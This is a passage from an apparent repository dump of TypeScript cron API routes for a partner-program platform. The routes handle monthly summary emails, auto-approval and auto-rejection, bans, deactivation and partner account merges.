AnalyticsResponse) => [a.partnerId, a]),\n  );\n\n  const summary = partners.map((partner) => {\n    // Get previous and current month analytics from Tinybird\n    const _previousMonthAnalytics = previousAnalyticsMap.get(partner.id);\n    const _currentMonthAnalytics = currentAnalyticsMap.get(partner.id);\n\n    // Get lifetime analytics from MySQL\n    const _lifetimeAnalytics = programEnrollments\n      .find((enrollment) => enrollment.partner.id === partner.id)\n      ?.links.reduce(\n        (acc, link) => ({\n          clicks: acc.clicks + link.clicks,\n          leads: acc.leads + link.leads,\n          sales: acc.sales + link.sales,\n        }),\n        { clicks: 0, leads: 0, sales: 0 },\n      );\n\n    // Get earnings data from MySQL\n    const _previousMonthEarnings = previousEarningsMap.get(partner.id);\n    const _currentMonthEarnings = currentEarningsMap.get(partner.id);\n    const _lifetimeEarnings = lifetimeEarningsMap.get(partner.id);\n\n    return {\n      partner,\n      previousMonth: {\n        clicks: _previousMonthAnalytics?.clicks ?? 0,\n        leads: _previousMonthAnalytics?.leads ?? 0,\n        sales: _previousMonthAnalytics?.sales ?? 0,\n        earnings: _previousMonthEarnings?._sum.earnings ?? 0,\n      },\n      currentMonth: {\n        clicks: _currentMonthAnalytics?.clicks ?? 0,\n        leads: _currentMonthAnalytics?.leads ?? 0,\n        sales: _currentMonthAnalytics?.sales ?? 0,\n        earnings: _currentMonthEarnings?._sum.earnings ?? 0,\n      },\n      lifetime: {\n        clicks: _lifetimeAnalytics?.clicks ?? 0,\n        leads: _lifetimeAnalytics?.leads ?? 0,\n        sales: _lifetimeAnalytics?.sales ?? 0,\n        earnings: _lifetimeEarnings?._sum.earnings ?? 0,\n      },\n    };\n  });\n\n  console.table(\n    summary.map((s) => ({\n      partner: s.partner.email,\n      program: program.name,\n      currentClicks: s.currentMonth.clicks,\n      currentLeads: s.currentMonth.leads,\n      currentSales: s.currentMonth.sales,\n      currentEarnings: s.currentMonth.earnings,\n      lifetimeClicks: s.lifetime.clicks,\n      lifetimeLeads: s.lifetime.leads,\n      lifetimeSales: s.lifetime.sales,\n      lifetimeEarnings: s.lifetime.earnings,\n    })),\n  );\n\n  const reportingMonth = format(currentMonth, \"MMM yyyy\");\n  batchNumber = batchNumber || 1;\n\n  await sendBatchEmail(\n    summary.map(({ partner, ...rest }) => ({\n      variant: \"notifications\",\n      subject: `Your ${reportingMonth} performance report for ${program.name} program`,\n      to: partner.email!,\n      replyTo: program.supportEmail || \"noreply\",\n      react: PartnerProgramSummary({\n        program,\n        partner,\n        ...rest,\n        reportingPeriod: {\n          month: reportingMonth,\n          start: currentMonth.toISOString(),\n          end: endOfMonth(currentMonth).toISOString(),\n        },\n      }),\n    })),\n    {\n      idempotencyKey: `partner-program-summary-${reportingMonth}-${program.id}-${batchNumber}`,\n    },\n  );\n\n  // Schedule the next batch if there are more partners to process\n  if (programEnrollments.length === PARTNER_BATCH_SIZE) {\n    startingAfter = programEnrollments[programEnrollments.length - 1].id;\n    batchNumber++;\n\n    const response = await queue.enqueueJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partner-program-summary/process`,\n      method: \"POST\",\n      body: {\n        ...result,\n        startingAfter,\n        batchNumber,\n      },\n    });\n\n    return logAndRespond(\n      `Enqueued partner program summary jobs for the next batch ${response.messageId}`,\n    );\n  }\n\n  return logAndRespond(\n    `Finished processing all partners for program ${program.id}.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partner-program-summary/route.ts",
    "content": "import { enqueueBatchJobs } from \"@/lib/cron/enqueue-batch-jobs\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { format, startOfMonth, subMonths } from \"date-fns\";\nimport { logAndRespond } from \"../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst PROGRAM_BATCH_SIZE = 50;\n\n// This route handles the monthly partner program summary emails for partners.\n// Scheduled to run at 1 PM UTC on the 1st day of every month to send the previous month's summary.\n// GET /api/cron/partner-program-summary\nexport const GET = withCron(async () => {\n  const currentMonth = startOfMonth(subMonths(new Date(), 1));\n  const yearMonth = format(currentMonth, \"yyyy-MM\");\n\n  let page = 0;\n\n  while (true) {\n    const programs = await prisma.program.findMany({\n      select: {\n        id: true,\n      },\n      take: PROGRAM_BATCH_SIZE,\n      skip: page * PROGRAM_BATCH_SIZE,\n      orderBy: {\n        id: \"asc\",\n      },\n    });\n\n    if (programs.length === 0) {\n      break;\n    }\n\n    await enqueueBatchJobs(\n      programs.map((program) => ({\n        queueName: \"send-partner-summary\",\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partner-program-summary/process`,\n        deduplicationId: `partner-program-summary-${yearMonth}-${program.id}`,\n        body: {\n          programId: program.id,\n        },\n      })),\n    );\n\n    page++;\n  }\n\n  return logAndRespond(\n    `Enqueued partner program summary jobs for ${yearMonth}.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partners/auto-approve/route.ts",
    "content": "import { getPartnerApplicationRisks } from \"@/lib/api/fraud/get-partner-application-risks\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { approvePartnerEnrollment } from \"@/lib/partners/approve-partner-enrollment\";\nimport { evaluateApplicationRequirements } from \"@/lib/partners/evaluate-application-requirements\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  programId: z.string(),\n  partnerId: z.string(),\n});\n\n// POST /api/cron/partners/auto-approve\n// This route is used to auto-approve a partner enrolled in a program\nexport const POST = withCron(async ({ rawBody }) => {\n  const { programId, partnerId } = schema.parse(JSON.parse(rawBody));\n\n  const programEnrollment = await prisma.programEnrollment.findUnique({\n    where: {\n      partnerId_programId: {\n        partnerId,\n        programId,\n      },\n    },\n    include: {\n      partnerGroup: true,\n      partner: {\n        include: {\n          platforms: true,\n        },\n      },\n    },\n  });\n\n  if (!programEnrollment) {\n    return logAndRespond(\n      `Partner ${partnerId} not found in program ${programId}. Skipping auto-approval.`,\n    );\n  }\n\n  const group = programEnrollment.partnerGroup;\n\n  if (!group) {\n    return logAndRespond(\n      `Group not found for partner ${partnerId} in program ${programId}. Skipping auto-approval.`,\n    );\n  }\n\n  if (!group.autoApprovePartnersEnabledAt) {\n    return logAndRespond(\n      `Group ${group.id} does not have auto-approval enabled. Skipping auto-approval.`,\n    );\n  }\n\n  if (programEnrollment.status !== \"pending\") {\n    return logAndRespond(\n      `${partnerId} is in ${programEnrollment.status} status. Skipping auto-approval.`,\n    );\n  }\n\n  // Check if the workspace plan has fraud event management capabilities\n  // If enabled, we'll evaluate risk signals before auto-approving\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      workspace: {\n        include: {\n          users: {\n            where: {\n              role: \"owner\",\n            },\n            take: 1,\n          },\n        },\n      },\n    },\n  });\n\n  const { canManageFraudEvents } = getPlanCapabilities(program.workspace.plan);\n\n  if (canManageFraudEvents) {\n    const { riskSeverity } = await getPartnerApplicationRisks({\n      program,\n      partner: programEnrollment.partner,\n    });\n\n    if (riskSeverity === \"high\") {\n      return logAndRespond(\n        `Partner ${partnerId} has high risk. Skipping auto-approval.`,\n      );\n    }\n  }\n\n  const result = evaluateApplicationRequirements({\n    applicationRequirements: program.applicationRequirements,\n    context: {\n      country: programEnrollment.partner.country,\n      email: programEnrollment.partner.email,\n    },\n  });\n\n  if (!result.valid) {\n    switch (result.reason) {\n      case \"invalidRequirements\":\n        return logAndRespond(\n          `Invalid applicationRequirements for program ${programId}. Skipping auto-approval.`,\n        );\n\n      case \"requirementsNotMet\":\n        return logAndRespond(\n          `Partner ${partnerId} does not meet eligibility requirements. Skipping auto-approval.`,\n        );\n    }\n  }\n\n  await approvePartnerEnrollment({\n    programId,\n    partnerId,\n    userId: program.workspace.users[0].userId,\n    groupId: programEnrollment.groupId,\n  });\n\n  return logAndRespond(\n    `Successfully auto-approved partner ${partnerId} in program ${programId}.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partners/auto-reject/route.ts",
    "content": "import { resolveFraudGroups } from \"@/lib/api/fraud/resolve-fraud-groups\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { evaluateApplicationRequirements } from \"@/lib/partners/evaluate-application-requirements\";\nimport { sendEmail } from \"@dub/email\";\nimport PartnerApplicationRejected from \"@dub/email/templates/partner-application-rejected\";\nimport { prisma } from \"@dub/prisma\";\nimport { ProgramEnrollmentStatus } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst inputSchema = z.object({\n  programId: z.string(),\n  partnerId: z.string(),\n});\n\n// POST /api/cron/partners/auto-reject\n// This route is used to auto-reject a partner enrollment (e.g. when eligibility requirements are not met)\nexport const POST = withCron(async ({ rawBody }) => {\n  const { programId, partnerId } = inputSchema.parse(JSON.parse(rawBody));\n\n  const programEnrollment = await prisma.programEnrollment.findUnique({\n    where: {\n      partnerId_programId: {\n        partnerId,\n        programId,\n      },\n    },\n    include: {\n      partner: {\n        select: {\n          id: true,\n          name: true,\n          email: true,\n          country: true,\n        },\n      },\n      program: {\n        select: {\n          id: true,\n          name: true,\n          slug: true,\n          supportEmail: true,\n          applicationRequirements: true,\n        },\n      },\n    },\n  });\n\n  if (!programEnrollment) {\n    return logAndRespond(\n      `Partner ${partnerId} not found in program ${programId}. Skipping auto-reject.`,\n    );\n  }\n\n  if (programEnrollment.status !== \"pending\") {\n    return logAndRespond(\n      `Partner ${partnerId} is in ${programEnrollment.status} status. Skipping auto-reject.`,\n    );\n  }\n\n  const result = evaluateApplicationRequirements({\n    applicationRequirements: programEnrollment.program.applicationRequirements,\n    context: {\n      country: programEnrollment.partner.country,\n      email: programEnrollment.partner.email,\n    },\n  });\n\n  if (result.reason !== \"requirementsNotMet\") {\n    return logAndRespond(\n      `Partner ${partnerId} now meets requirements for program ${programId} (reason: ${result.reason}). Skipping auto-reject.`,\n    );\n  }\n\n  const { count } = await prisma.programEnrollment.updateMany({\n    where: {\n      id: programEnrollment.id,\n      status: ProgramEnrollmentStatus.pending,\n    },\n    data: {\n      status: ProgramEnrollmentStatus.rejected,\n      clickRewardId: null,\n      leadRewardId: null,\n      saleRewardId: null,\n      discountId: null,\n    },\n  });\n\n  if (count === 0) {\n    return logAndRespond(\n      `Partner ${partnerId} is no longer pending in program ${programId}. Skipping auto-reject.`,\n    );\n  }\n\n  await resolveFraudGroups({\n    where: {\n      programId,\n      partnerId,\n    },\n    resolutionReason:\n      \"Resolved automatically because the partner application was automatically rejected.\",\n  });\n\n  const { partner, program } = programEnrollment;\n\n  if (partner.email) {\n    await sendEmail({\n      to: partner.email,\n      subject: `Your application to ${program.name} was not approved`,\n      variant: \"notifications\",\n      replyTo: program.supportEmail || \"noreply\",\n      react: PartnerApplicationRejected({\n        partner: {\n          name: partner.name ?? \"there\",\n          email: partner.email,\n        },\n        program: {\n          name: program.name,\n          slug: program.slug,\n          supportEmail: program.supportEmail ?? undefined,\n        },\n      }),\n    });\n  }\n\n  return logAndRespond(\n    `Successfully auto-rejected partner ${partnerId} in program ${programId}.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partners/ban/cancel-commissions.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\n// Mark the commissions as canceled\nexport async function cancelCommissions({\n  programId,\n  partnerId,\n}: {\n  programId: string;\n  partnerId: string;\n}) {\n  let canceledCommissions = 0;\n  let failedBatches = 0;\n  const maxRetries = 3;\n\n  while (true) {\n    try {\n      const commissions = await prisma.commission.findMany({\n        where: {\n          programId,\n          partnerId,\n          // cancel all commissions that are pending\n          // as well as processed commissions (added to a payout) but the payout was canceled\n          OR: [\n            {\n              status: \"pending\",\n            },\n            {\n              status: \"processed\",\n              payout: {\n                status: \"canceled\",\n              },\n            },\n          ],\n        },\n        select: {\n          id: true,\n        },\n        orderBy: {\n          id: \"asc\",\n        },\n        take: 500,\n      });\n\n      if (commissions.length === 0) {\n        break;\n      }\n\n      const { count } = await prisma.commission.updateMany({\n        where: {\n          id: {\n            in: commissions.map((c) => c.id),\n          },\n        },\n        data: {\n          status: \"canceled\",\n        },\n      });\n\n      canceledCommissions += count;\n    } catch (error) {\n      failedBatches++;\n\n      // If we've failed too many times, break to avoid infinite loop\n      if (failedBatches >= maxRetries) {\n        console.error(\n          `Failed to cancel commissions after ${maxRetries} attempts. Stopping batch processing.`,\n        );\n        break;\n      }\n\n      // Wait a bit before retrying the same batch\n      await new Promise((resolve) => setTimeout(resolve, 1000));\n    }\n  }\n\n  if (failedBatches > 0) {\n    console.warn(\n      `Canceled ${canceledCommissions} commissions with ${failedBatches} failed batch(es).`,\n    );\n  } else {\n    console.info(`Canceled ${canceledCommissions} commissions.`);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partners/ban/route.ts",
    "content": "import { deleteDiscountCodes } from \"@/lib/api/discounts/delete-discount-code\";\nimport { reportCrossProgramBanToNetwork } from \"@/lib/api/fraud/report-cross-program-ban-to-network\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { syncTotalCommissions } from \"@/lib/api/partners/sync-total-commissions\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { BAN_PARTNER_REASONS } from \"@/lib/zod/schemas/partners\";\nimport { sendEmail } from \"@dub/email\";\nimport PartnerBanned from \"@dub/email/templates/partner-banned\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nimport { cancelCommissions } from \"./cancel-commissions\";\n\nconst schema = z.object({\n  programId: z.string(),\n  partnerId: z.string(),\n});\n\n// POST /api/cron/partners/ban - handle all side effects of banning a partner\nexport const POST = withCron(async ({ rawBody }) => {\n  const { programId, partnerId } = schema.parse(JSON.parse(rawBody));\n\n  console.info(`Banning partner ${partnerId} from program ${programId}...`);\n\n  const { partner, links, ...programEnrollment } =\n    await getProgramEnrollmentOrThrow({\n      partnerId,\n      programId,\n      include: {\n        partner: true,\n        links: {\n          include: {\n            ...includeTags,\n            discountCode: true,\n          },\n        },\n      },\n    });\n\n  if (programEnrollment.status !== \"banned\") {\n    return logAndRespond(\n      `Partner ${programEnrollment.partnerId} is not banned from program ${programEnrollment.programId}.`,\n    );\n  }\n\n  const commonWhere = {\n    programId,\n    partnerId,\n  };\n\n  const [linksUpdated, bountySubmissions, discountCodes, payouts] =\n    await prisma.$transaction([\n      // Disable links\n      prisma.link.updateMany({\n        where: {\n          ...commonWhere,\n        },\n        data: {\n          disabledAt: new Date(),\n          expiresAt: new Date(),\n        },\n      }),\n\n      // Reject bounty submissions\n      prisma.bountySubmission.updateMany({\n        where: {\n          ...commonWhere,\n          status: {\n            not: \"approved\",\n          },\n        },\n        data: {\n          status: \"rejected\",\n          rejectionReason: \"other\",\n          rejectionNote:\n            \"Rejected automatically because the partner was banned.\",\n        },\n      }),\n\n      // Remove discount codes\n      prisma.discountCode.updateMany({\n        where: {\n          ...commonWhere,\n        },\n        data: {\n          discountId: null,\n        },\n      }),\n\n      // Cancel payouts\n      prisma.payout.updateMany({\n        where: {\n          ...commonWhere,\n          status: \"pending\",\n        },\n        data: {\n          status: \"canceled\",\n        },\n      }),\n    ]);\n\n  console.info(`Disabled ${linksUpdated.count} links.`);\n  console.info(`Rejected ${bountySubmissions.count} bounty submissions.`);\n  console.info(`Removed ${discountCodes.count} discount codes.`);\n  console.info(`Canceled ${payouts.count} payouts.`);\n\n  // Mark the commissions as canceled\n  await cancelCommissions({\n    programId,\n    partnerId,\n  });\n\n  await Promise.all([\n    // Sync total commissions\n    syncTotalCommissions({\n      programId,\n      partnerId,\n    }),\n\n    // Expire links from cache\n    linkCache.expireMany(links),\n\n    // Delete links from Tinybird links metadata\n    recordLink(links, { deleted: true }),\n\n    // Queue discount code deletions\n    deleteDiscountCodes(links.map((link) => link.discountCode)),\n  ]);\n\n  await reportCrossProgramBanToNetwork({\n    partnerId,\n    programId,\n    bannedReason: programEnrollment.bannedReason,\n    bannedAt: programEnrollment.bannedAt,\n  });\n\n  // Send email\n  if (partner.email) {\n    const program = await prisma.program.findUniqueOrThrow({\n      where: {\n        id: programId,\n      },\n      select: {\n        name: true,\n        slug: true,\n        supportEmail: true,\n      },\n    });\n\n    try {\n      await sendEmail({\n        to: partner.email,\n        subject: `You've been banned from the ${program.name} Partner Program`,\n        variant: \"notifications\",\n        replyTo: program.supportEmail || \"noreply\",\n        react: PartnerBanned({\n          partner: {\n            name: partner.name,\n            email: partner.email,\n          },\n          program: {\n            name: program.name,\n            slug: program.slug,\n          },\n          // A reason is always present because we validate the schema\n          bannedReason: programEnrollment.bannedReason\n            ? BAN_PARTNER_REASONS[programEnrollment.bannedReason!]\n            : \"\",\n        }),\n      });\n    } catch {}\n  }\n\n  return logAndRespond(\n    `Partner ${partnerId} banned from the program ${programId}.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partners/deactivate/route.ts",
    "content": "import { deleteDiscountCodes } from \"@/lib/api/discounts/delete-discount-code\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport PartnerDeactivated from \"@dub/email/templates/partner-deactivated\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nconst inputSchema = z.object({\n  programId: z.string(),\n  partnerIds: z.array(z.string()),\n  programDeactivated: z.boolean().optional().default(false),\n});\n\n// POST /api/cron/partners/deactivate - deactivate partners in a program\nexport const POST = withCron(async ({ rawBody }) => {\n  const { programId, partnerIds, programDeactivated } = inputSchema.parse(\n    JSON.parse(rawBody),\n  );\n\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      programId,\n      partnerId: {\n        in: partnerIds,\n      },\n    },\n    include: {\n      partner: {\n        include: {\n          _count: {\n            select: {\n              users: true,\n            },\n          },\n        },\n      },\n      links: true,\n      discountCodes: true,\n    },\n  });\n\n  // Expire all links in cache\n  const links = programEnrollments.flatMap(({ links }) => links);\n  await linkCache.expireMany(links);\n  console.log(\"[bulkDeactivatePartners] Expired links in cache.\");\n\n  // Queue discount code deletions\n  const discountCodes = programEnrollments.flatMap(({ discountCodes }) =>\n    discountCodes.map((dc) => dc),\n  );\n  await deleteDiscountCodes(discountCodes);\n  console.log(\"[bulkDeactivatePartners] Queued discount code deletions.\");\n\n  // Find the program\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    select: {\n      name: true,\n      slug: true,\n      supportEmail: true,\n    },\n  });\n\n  // Send notification emails\n  const emailResponse = await sendBatchEmail(\n    programEnrollments\n      // only notify partners with user accounts (meaning they've signed up on partners.dub.co)\n      .filter(({ partner }) => partner._count.users > 0)\n      .map(({ partner }) => ({\n        variant: \"notifications\",\n        subject: programDeactivated\n          ? `The ${program.name} program has been deactivated`\n          : `Your partnership with ${program.name} has been deactivated`,\n        to: partner.email!,\n        replyTo: program.supportEmail || \"noreply\",\n        react: PartnerDeactivated({\n          partner: {\n            name: partner.name,\n            email: partner.email!,\n          },\n          program: {\n            name: program.name,\n            slug: program.slug,\n          },\n          programDeactivated,\n        }),\n      })),\n  );\n\n  console.log(\"[bulkDeactivatePartners] Sent notification emails.\", {\n    response: emailResponse,\n  });\n\n  return logAndRespond(\n    `[bulkDeactivatePartners] Deactivated ${partnerIds.length} partners for program ${programId}.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/partners/merge-accounts/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { resolveFraudGroups } from \"@/lib/api/fraud/resolve-fraud-groups\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { syncTotalCommissions } from \"@/lib/api/partners/sync-total-commissions\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { conn } from \"@/lib/planetscale\";\nimport { storage } from \"@/lib/storage\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { redis } from \"@/lib/upstash\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport PartnerAccountMerged from \"@dub/email/templates/partner-account-merged\";\nimport { prisma } from \"@dub/prisma\";\nimport { log, prettyPrint, R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  userId: z.string(),\n  sourceEmail: z.string(),\n  targetEmail: z.string(),\n});\n\nconst CACHE_KEY_PREFIX = \"merge-partner-accounts\";\n\n// POST /api/cron/partners/merge-accounts\n// This route is used to merge a partner account into another account\nexport async function POST(req: Request) {\n  let userId: string | null = null;\n\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const {\n      userId: parsedUserId,\n      sourceEmail,\n      targetEmail,\n    } = schema.parse(JSON.parse(rawBody));\n\n    userId = parsedUserId;\n\n    console.log({\n      userId,\n      sourceEmail,\n      targetEmail,\n    });\n\n    const partnerAccounts = await prisma.partner.findMany({\n      where: {\n        email: {\n          in: [sourceEmail, targetEmail],\n        },\n      },\n      select: {\n        id: true,\n        email: true,\n        image: true,\n        payoutMethodHash: true,\n        programs: {\n          select: {\n            programId: true,\n            tenantId: true,\n          },\n        },\n        users: {\n          select: {\n            userId: true,\n          },\n        },\n        partnerRewinds: true,\n      },\n    });\n\n    if (partnerAccounts.length === 0) {\n      return new Response(\"Partner accounts not found.\");\n    }\n\n    const sourceAccount = partnerAccounts.find(\n      ({ email }) => email?.toLowerCase() === sourceEmail.toLowerCase(),\n    );\n\n    const targetAccount = partnerAccounts.find(\n      ({ email }) => email?.toLowerCase() === targetEmail.toLowerCase(),\n    );\n\n    if (!sourceAccount) {\n      return new Response(\n        `Partner account with email ${sourceEmail} not found.`,\n      );\n    }\n\n    if (!targetAccount) {\n      return new Response(\n        `Partner account with email ${targetEmail} not found.`,\n      );\n    }\n\n    if (sourceAccount.id === targetAccount.id) {\n      return new Response(\n        `Source and target partner accounts must be different. Source account: ${sourceAccount.email} (${sourceAccount.id}), Target account: ${targetAccount.email} (${targetAccount.id})`,\n      );\n    }\n\n    const {\n      id: sourcePartnerId,\n      users: sourcePartnerUsers,\n      programs: sourcePartnerEnrollments,\n    } = sourceAccount;\n\n    const { id: targetPartnerId, programs: targetPartnerEnrollments } =\n      targetAccount;\n\n    // Find new enrollments that are not in the target partner enrollments\n    const newEnrollments = sourcePartnerEnrollments.filter(\n      ({ programId }) =>\n        !targetPartnerEnrollments.some(\n          ({ programId: targetProgramId }) => programId === targetProgramId,\n        ),\n    );\n\n    // Update program enrollments\n    if (newEnrollments.length > 0) {\n      await prisma.programEnrollment.updateMany({\n        where: {\n          programId: {\n            in: newEnrollments.map(({ programId }) => programId),\n          },\n          partnerId: sourcePartnerId,\n        },\n        data: {\n          partnerId: targetPartnerId,\n        },\n      });\n    }\n\n    const programIdsToTransfer = sourcePartnerEnrollments.map(\n      ({ programId }) => programId,\n    );\n\n    const updateManyPayload = {\n      where: {\n        programId: {\n          in: programIdsToTransfer,\n        },\n        partnerId: sourcePartnerId,\n      },\n      data: {\n        partnerId: targetPartnerId,\n      },\n    };\n\n    // update links, commissions, bounty submissions, and payouts\n    if (programIdsToTransfer.length > 0) {\n      const [\n        updatedLinksRes,\n        updatedCustomersRes,\n        updatedCommissionsRes,\n        updatedPayoutsRes,\n      ] = await Promise.all([\n        prisma.link.updateMany(updateManyPayload),\n        prisma.customer.updateMany(updateManyPayload),\n        prisma.commission.updateMany(updateManyPayload),\n        prisma.payout.updateMany(updateManyPayload),\n      ]);\n      console.log(\n        `Updated ${updatedLinksRes.count} links, ${updatedCustomersRes.count} customers, ${updatedCommissionsRes.count} commissions, and ${updatedPayoutsRes.count} payouts`,\n      );\n\n      // update discount codes, notification emails, messages, and partner comments\n      const [\n        updatedDiscountCodesRes,\n        updatedNotificationEmailsRes,\n        updatedMessagesRes,\n        updatedPartnerCommentsRes,\n      ] = await Promise.all([\n        prisma.discountCode.updateMany(updateManyPayload),\n        prisma.notificationEmail.updateMany(updateManyPayload),\n        prisma.message.updateMany(updateManyPayload),\n        prisma.partnerComment.updateMany(updateManyPayload),\n      ]);\n      console.log(\n        `Updated ${updatedDiscountCodesRes.count} discount codes, ${updatedNotificationEmailsRes.count} notification emails, ${updatedMessagesRes.count} messages, and ${updatedPartnerCommentsRes.count} partner comments`,\n      );\n\n      const updatedLinks = await prisma.link.findMany({\n        where: {\n          programId: {\n            in: programIdsToTransfer,\n          },\n          partnerId: targetPartnerId,\n        },\n        include: {\n          ...includeTags,\n          ...includeProgramEnrollment,\n        },\n      });\n\n      // only transfer bounty submissions if the target partner has no submissions for the same bounty\n      const bountySubmissionStats = await prisma.bountySubmission.groupBy({\n        by: [\"bountyId\"],\n        where: {\n          partnerId: {\n            in: [sourcePartnerId, targetPartnerId],\n          },\n        },\n        _count: {\n          partnerId: true,\n        },\n      });\n      const bountiesToTransfer = bountySubmissionStats\n        .filter(({ _count }) => _count.partnerId === 1)\n        .map(({ bountyId }) => bountyId);\n\n      if (bountiesToTransfer.length > 0) {\n        const updatedBountySubmissions =\n          await prisma.bountySubmission.updateMany({\n            where: {\n              bountyId: { in: bountiesToTransfer },\n              partnerId: sourcePartnerId,\n            },\n            data: {\n              partnerId: targetPartnerId,\n            },\n          });\n        console.log(\n          `Transferred ${updatedBountySubmissions.count} bounty submissions`,\n        );\n      }\n\n      const res = await Promise.allSettled([\n        // update link metadata in Tinybird\n        recordLink(updatedLinks),\n        // expire link cache in Redis\n        linkCache.expireMany(updatedLinks),\n        // Sync total commissions for the target partner in each program\n        ...programIdsToTransfer.map((programId) =>\n          syncTotalCommissions({\n            partnerId: targetPartnerId,\n            programId,\n            mode: \"direct\",\n          }),\n        ),\n      ]);\n      console.log(prettyPrint(res));\n    }\n\n    const existingEnrollments = sourcePartnerEnrollments.filter(\n      ({ programId }) =>\n        targetPartnerEnrollments.some(\n          ({ programId: targetProgramId }) => programId === targetProgramId,\n        ),\n    );\n\n    if (existingEnrollments.length > 0) {\n      for (const sourceEnrollment of existingEnrollments) {\n        const targetEnrollment = targetPartnerEnrollments.find(\n          ({ programId }) => programId === sourceEnrollment.programId,\n        );\n        await prisma.$transaction(async (tx) => {\n          // delete old source enrollment\n          await tx.programEnrollment.delete({\n            where: {\n              partnerId_programId: {\n                partnerId: sourcePartnerId,\n                programId: sourceEnrollment.programId,\n              },\n            },\n          });\n\n          // update target enrollment with source enrollment's tenantId if target enrollment does not have a tenantId\n          if (sourceEnrollment.tenantId && !targetEnrollment?.tenantId) {\n            await tx.programEnrollment.update({\n              where: {\n                partnerId_programId: {\n                  partnerId: targetPartnerId,\n                  programId: sourceEnrollment.programId,\n                },\n              },\n              data: {\n                tenantId: sourceEnrollment.tenantId,\n              },\n            });\n          }\n        });\n        console.log(\n          `Deleted old source enrollment for program ${sourceEnrollment.programId}.${sourceEnrollment.tenantId ? ` Since there was a tenantId, we updated the target enrollment with the same tenantId: ${sourceEnrollment.tenantId}` : \"\"}`,\n        );\n      }\n    }\n\n    // If source account has rewind, need to delete and recalculate for the target account\n    if (sourceAccount.partnerRewinds.length > 0) {\n      const deletedRewinds = await prisma.partnerRewind.deleteMany({\n        where: {\n          partnerId: sourcePartnerId,\n        },\n      });\n      console.log(`Deleted ${deletedRewinds.count} partner rewinds`);\n    }\n\n    // Remove the user if there are no workspaces left\n    // TODO: we need to handle deleting multiple users when we allow partners to invite their team members in the future\n    const sourcePartnerUser = sourcePartnerUsers[0];\n\n    if (sourcePartnerUser) {\n      const workspaceCount = await prisma.projectUsers.count({\n        where: {\n          userId: sourcePartnerUser.userId,\n        },\n      });\n\n      if (workspaceCount === 0) {\n        try {\n          const deletedUser = await prisma.user.delete({\n            where: {\n              id: sourcePartnerUser.userId,\n            },\n            select: {\n              id: true,\n              email: true,\n              image: true,\n            },\n          });\n          console.log(`Deleted user ${deletedUser.email} (${deletedUser.id})`);\n\n          if (deletedUser.image) {\n            await storage.delete({\n              key: deletedUser.image.replace(`${R2_URL}/`, \"\"),\n            });\n          }\n        } catch (error) {\n          console.error(\n            `Error deleting user ${sourcePartnerUser.userId}: ${error.message}`,\n          );\n        }\n      }\n    }\n\n    try {\n      // Finally, delete the partner account\n      await conn.execute(`DELETE FROM Partner WHERE id = ?`, [sourcePartnerId]);\n      console.log(\n        `Deleted partner ${sourceAccount.email} (${sourceAccount.id})`,\n      );\n\n      if (sourceAccount.image) {\n        await storage.delete({\n          key: sourceAccount.image.replace(`${R2_URL}/`, \"\"),\n        });\n      }\n    } catch (error) {\n      console.error(\n        `Error deleting partner ${sourcePartnerId}: ${error.message}`,\n      );\n    }\n\n    // After merging, check if the fraud condition has been resolved.\n    // If no other partners share the same payout method hash, we can\n    // automatically resolve any pending fraud groups for this partner.\n    if (targetAccount.payoutMethodHash) {\n      const duplicatePartners = await prisma.partner.count({\n        where: {\n          payoutMethodHash: targetAccount.payoutMethodHash,\n        },\n      });\n\n      if (duplicatePartners <= 1) {\n        await resolveFraudGroups({\n          where: 